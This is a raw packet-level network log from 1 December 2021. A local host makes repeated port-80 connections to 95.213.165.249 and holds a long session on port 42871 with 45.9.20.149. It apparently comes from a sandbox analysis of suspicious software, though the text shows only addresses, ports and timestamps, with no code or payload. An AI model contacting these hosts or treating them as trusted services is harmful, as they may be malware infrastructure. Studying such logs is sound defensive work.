Dec 1, 2021 09:14:32.433142900 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.433238029 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.433404922 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.434021950 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.434124947 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.486546993 CET	80	49810	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.487912893 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.487942934 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.487957954 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.487998962 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.488096952 CET	49810	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.488183975 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.488229990 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.488280058 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.488295078 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.488334894 CET	49810	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.488348007 CET	49810	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.488364935 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.488498926 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.488514900 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.488578081 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.488579988 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.489115000 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.489134073 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.489192009 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.489222050 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.489270926 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.489619017 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.490027905 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.490051031 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.490066051 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.490560055 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.490611076 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.490648031 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.490695953 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.491204023 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.491291046 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.491369963 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.491621017 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.491689920 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.491828918 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.545419931 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.545450926 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.545564890 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.545629025 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.545644999 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.546189070 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.546216011 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.546315908 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.546468973 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.546672106 CET	80	49810	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.589039087 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.589135885 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.589337111 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.594845057 CET	80	49810	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.598690987 CET	49810	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.599124908 CET	49810	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.648971081 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.657207966 CET	80	49810	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.704982042 CET	49811	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.762661934 CET	80	49811	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.762856960 CET	49811	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.763000965 CET	49811	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.763017893 CET	49811	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.820640087 CET	80	49811	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.863291979 CET	80	49811	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.864913940 CET	49811	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.866492033 CET	49811	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.924120903 CET	80	49811	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.962054968 CET	49812	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.019711018 CET	80	49812	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.019949913 CET	49812	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.020070076 CET	49812	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.020128012 CET	49812	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.077658892 CET	80	49812	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.121498108 CET	80	49812	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.121517897 CET	80	49812	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.121704102 CET	49812	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.121750116 CET	49812	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.167895079 CET	49813	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.179790020 CET	80	49812	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.225661039 CET	80	49813	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.225794077 CET	49813	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.225972891 CET	49813	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.225990057 CET	49813	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.283555984 CET	80	49813	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.326433897 CET	80	49813	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.326894999 CET	49813	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.327105045 CET	49813	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.357554913 CET	49814	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.384540081 CET	80	49813	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.415221930 CET	80	49814	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.416552067 CET	49814	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.416949034 CET	49814	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.417160988 CET	49814	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.474457026 CET	80	49814	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.474518061 CET	80	49814	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.522387028 CET	80	49814	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.522968054 CET	49814	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.523102999 CET	49814	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.581022978 CET	80	49814	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.849147081 CET	49815	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.906836987 CET	80	49815	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:33.907104015 CET	49815	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.907125950 CET	49815	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.907130003 CET	49815	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:33.964811087 CET	80	49815	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.011966944 CET	80	49815	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.012109995 CET	49815	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.012552023 CET	49815	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.053638935 CET	49816	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.070091009 CET	80	49815	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.111716986 CET	80	49816	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.111896038 CET	49816	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.111988068 CET	49816	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.111995935 CET	49816	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.170061111 CET	80	49816	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.180773020 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:14:34.214350939 CET	80	49816	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.214476109 CET	49816	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.214626074 CET	49816	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.243838072 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:14:34.247256994 CET	49817	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.272562027 CET	80	49816	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.305032969 CET	80	49817	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.305442095 CET	49817	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.306974888 CET	49817	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.306998014 CET	49817	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.364687920 CET	80	49817	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.407723904 CET	80	49817	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.409564972 CET	49817	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.409765005 CET	49817	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.409813881 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:14:34.467367887 CET	80	49817	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.495640993 CET	49818	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.552953959 CET	80	49818	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.555543900 CET	49818	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.555721045 CET	49818	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.555872917 CET	49818	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.612910032 CET	80	49818	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.612957001 CET	80	49818	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.658929110 CET	80	49818	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.659157038 CET	49818	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.659205914 CET	49818	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.687472105 CET	49819	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.716418982 CET	80	49818	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.745228052 CET	80	49819	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.746113062 CET	49819	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.746252060 CET	49819	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.746275902 CET	49819	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.803976059 CET	80	49819	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.847769976 CET	80	49819	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.847794056 CET	80	49819	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.848979950 CET	49819	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.849020004 CET	49819	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.875579119 CET	49820	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.906626940 CET	80	49819	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.933795929 CET	80	49820	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:34.934149027 CET	49820	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.934369087 CET	49820	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.934380054 CET	49820	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:34.992336035 CET	80	49820	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:35.038682938 CET	80	49820	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:35.040076971 CET	49820	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:35.040138006 CET	49820	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:35.098517895 CET	80	49820	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:45.361171961 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:14:45.430538893 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:14:45.430557013 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:14:45.430572033 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:14:45.430604935 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:14:45.535885096 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:08.772474051 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:08.837611914 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:08.839999914 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:08.902978897 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:08.943931103 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.678054094 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.739813089 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.740011930 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.740133047 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.740250111 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.801691055 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.801739931 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.801899910 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.801954031 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.802009106 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.802073002 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.802128077 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.802143097 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.863636971 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.863727093 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.863779068 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.863838911 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.863970041 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.864064932 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.864095926 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.864202976 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.864228964 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.864296913 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.864321947 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.864531994 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.864705086 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.864720106 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.864752054 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.864829063 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.864859104 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.864911079 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.865015030 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.865045071 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.865113974 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.865174055 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.865252972 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.925371885 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.925548077 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.925621033 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.925702095 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.925782919 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.925901890 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.925925970 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.926390886 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.926431894 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.926480055 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.926533937 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.926605940 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.926760912 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.926951885 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.927146912 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.927297115 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.927680016 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.927764893 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.988140106 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.988297939 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.988456011 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.988662958 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.988681078 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.989155054 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.989171028 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.989372015 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.989650965 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.989685059 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.989934921 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.990189075 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.990297079 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.990628958 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.990664005 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.990679979 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.990756989 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.990850925 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.990967035 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.991131067 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.991352081 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.991411924 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.991561890 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.991605997 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.991774082 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.991892099 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.992101908 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.992115021 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:10.992471933 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:10.992602110 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.052541018 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.052558899 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.052587986 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.052732944 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.052865028 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.052999020 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.053198099 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.053225994 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.053925037 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.054043055 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.054055929 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.054182053 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.054430008 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.054594040 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.054956913 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.054996014 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.055008888 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.055068016 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.055232048 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.055319071 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.055344105 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.055921078 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.056037903 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.115684986 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.115745068 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.115791082 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.115993977 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.116029978 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.116189003 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.116264105 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.116290092 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.116385937 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.116461992 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.116525888 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.116553068 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.117228031 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.117419004 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.117490053 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.117724895 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.117747068 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.117866039 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.117873907 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.118062019 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.118174076 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.118261099 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.118478060 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.118612051 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.118815899 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.119239092 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.119339943 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.179594994 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.179641008 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.179681063 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.179737091 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.179883957 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.179924011 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.179934978 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.180124044 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.180207968 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.180218935 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.180408001 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.180562973 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.180727005 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.180890083 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.181021929 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.181087017 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.181219101 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.181415081 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.181432962 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.181499958 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.181565046 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:15:11.181569099 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.181653023 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.181845903 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:15:11.181997061 CET	42871	49808	45.9.20.149	192.168.2.4
